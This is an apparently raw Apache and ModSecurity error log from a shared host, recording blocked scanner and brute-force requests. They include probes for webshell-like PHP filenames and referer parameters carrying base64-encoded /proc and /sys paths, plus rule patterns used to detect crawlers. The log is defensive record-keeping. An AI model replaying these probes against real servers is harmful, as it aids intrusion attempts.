ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/class-wp-image.php"] [unique_id "ai3w2sTA7b1mZrmcA-8L8QAAAho"] [Sat Jun 13 18:07:54.209996 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.62:51944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:54.210473 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.62:51944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:54.218826 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:54.219104 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:54.288101 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L2N3ZA== [Sat Jun 13 18:07:54.288435 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L2N3ZA== [Sat Jun 13 18:07:54.300934 2026] [security2:error] [pid 531155:tid 531341] [client 172.171.3.232:21894] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/lolz.php"] [unique_id "ai3w2imiP80klyS0NnrnWAAAAUI"] [Sat Jun 13 18:07:54.348155 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:54.348449 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:54.365403 2026] [security2:error] [pid 531155:tid 531289] [client 82.197.69.10:64803] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.69.197.82.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "britishclassicmotorcycles.com"] [uri "/wp-login.php"] [unique_id "ai3w2imiP80klyS0NnrnVwAAAQ4"], referer: https://www.bing.com/ [Sat Jun 13 18:07:54.546513 2026] [security2:error] [pid 531797:tid 532117] [client 20.151.217.54:48182] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/wp-class.php"] [unique_id "ai3w2sTA7b1mZrmcA-8MBQAAAoo"] [Sat Jun 13 18:07:54.618951 2026] [security2:error] [pid 531797:tid 532089] [client 191.234.188.123:32743] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/an9.php"] [unique_id "ai3w2sTA7b1mZrmcA-8MBwAAAm4"] [Sat Jun 13 18:07:54.644248 2026] [security2:error] [pid 531797:tid 532054] [client 20.151.217.54:48593] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/drykl.php"] [unique_id "ai3w2sTA7b1mZrmcA-8MCQAAAkw"] [Sat Jun 13 18:07:54.711619 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2xpYmF0YQ== [Sat Jun 13 18:07:54.712100 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2xpYmF0YQ== [Sat Jun 13 18:07:54.807772 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2lk [Sat Jun 13 18:07:54.808220 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2lk [Sat Jun 13 18:07:54.884944 2026] [security2:error] [pid 531797:tid 532020] [client 20.151.217.54:65250] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/loxico93.php"] [unique_id "ai3w2sTA7b1mZrmcA-8MFQAAAiw"] [Sat Jun 13 18:07:54.886565 2026] [security2:error] [pid 531797:tid 531964] [remote 103.205.140.225:21778] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.140.205.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gillianenglish.com"] [uri "/wp-login.php"] [unique_id "ai3w2sTA7b1mZrmcA-8MFgACYGQ"], referer: https://gillianenglish.com/wp-login.php [Sat Jun 13 18:07:55.124237 2026] [security2:error] [pid 531797:tid 532037] [client 148.113.209.179:45252] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w28TA7b1mZrmcA-8MIAAAAjw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:55.141374 2026] [security2:error] [pid 531797:tid 532098] [client 114.119.143.130:48639] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.gkmasterson.com"] [uri "/chapter/27"] [unique_id "ai3w28TA7b1mZrmcA-8MIgAAAnc"], referer: http://www.gkmasterson.com/chapter/27/ [Sat Jun 13 18:07:55.188763 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.78:63968] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:55.189046 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.78:63968] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:55.210003 2026] [security2:error] [pid 531797:tid 531871] [remote 17.246.23.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w28TA7b1mZrmcA-8MJQACkgc"] [Sat Jun 13 18:07:55.256446 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mg== [Sat Jun 13 18:07:55.256725 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mg== [Sat Jun 13 18:07:55.292134 2026] [security2:error] [pid 531797:tid 532105] [client 191.233.234.186:44774] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3w28TA7b1mZrmcA-8MKQAAAn4"] [Sat Jun 13 18:07:55.328066 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:55.328349 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:55.385203 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.20:47122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:55.385494 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.20:47122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:55.618996 2026] [security2:error] [pid 531155:tid 531310] [client 82.197.69.10:64852] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.69.197.82.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "britishclassicmotorcycles.com"] [uri "/wp-login.php"] [unique_id "ai3w2ymiP80klyS0NnrncQAAASM"], referer: https://www.google.com/search?q=wordpress [Sat Jun 13 18:07:55.620518 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.28:63502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:55.620947 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.28:63502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:55.769807 2026] [security2:error] [pid 531155:tid 531272] [remote 92.28.203.55:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w2ymiP80klyS0NnrncwABK3Q"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:55.769844 2026] [security2:error] [pid 531155:tid 531272] [remote 92.28.203.55:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w2ymiP80klyS0NnrncwABK3Q"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:55.806321 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mg== [Sat Jun 13 18:07:55.806752 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mg== [Sat Jun 13 18:07:55.823182 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.59:33193] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:55.823612 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.59:33193] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:55.825051 2026] [security2:error] [pid 531155:tid 531356] [client 191.234.188.123:63837] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/prosell2.php"] [unique_id "ai3w2ymiP80klyS0NnrnewAAAVE"] [Sat Jun 13 18:07:55.873043 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:07:55.873310 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:07:55.879175 2026] [security2:error] [pid 531797:tid 531873] [remote 17.246.19.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w28TA7b1mZrmcA-8MSAACMwk"] [Sat Jun 13 18:07:55.883862 2026] [security2:error] [pid 531797:tid 531929] [remote 17.22.253.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w28TA7b1mZrmcA-8MSQACg0E"] [Sat Jun 13 18:07:56.037218 2026] [security2:error] [pid 531797:tid 531961] [remote 223.178.214.44:58750] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.214.178.223.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mymindandbaby.co.uk"] [uri "/wp-login.php"] [unique_id "ai3w3MTA7b1mZrmcA-8MUwACHWE"] [Sat Jun 13 18:07:56.188077 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS83Mw== [Sat Jun 13 18:07:56.188445 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS83Mw== [Sat Jun 13 18:07:56.319381 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMQ== [Sat Jun 13 18:07:56.319679 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMQ== [Sat Jun 13 18:07:56.337565 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:07:56.337874 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:07:56.499749 2026] [security2:error] [pid 531155:tid 531180] [remote 17.241.75.238:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w3CmiP80klyS0NnrnigABWxg"] [Sat Jun 13 18:07:56.532091 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.64:63926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:56.532377 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.64:63926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:56.579274 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.13:23861] AH01797: client denied by server configuration: 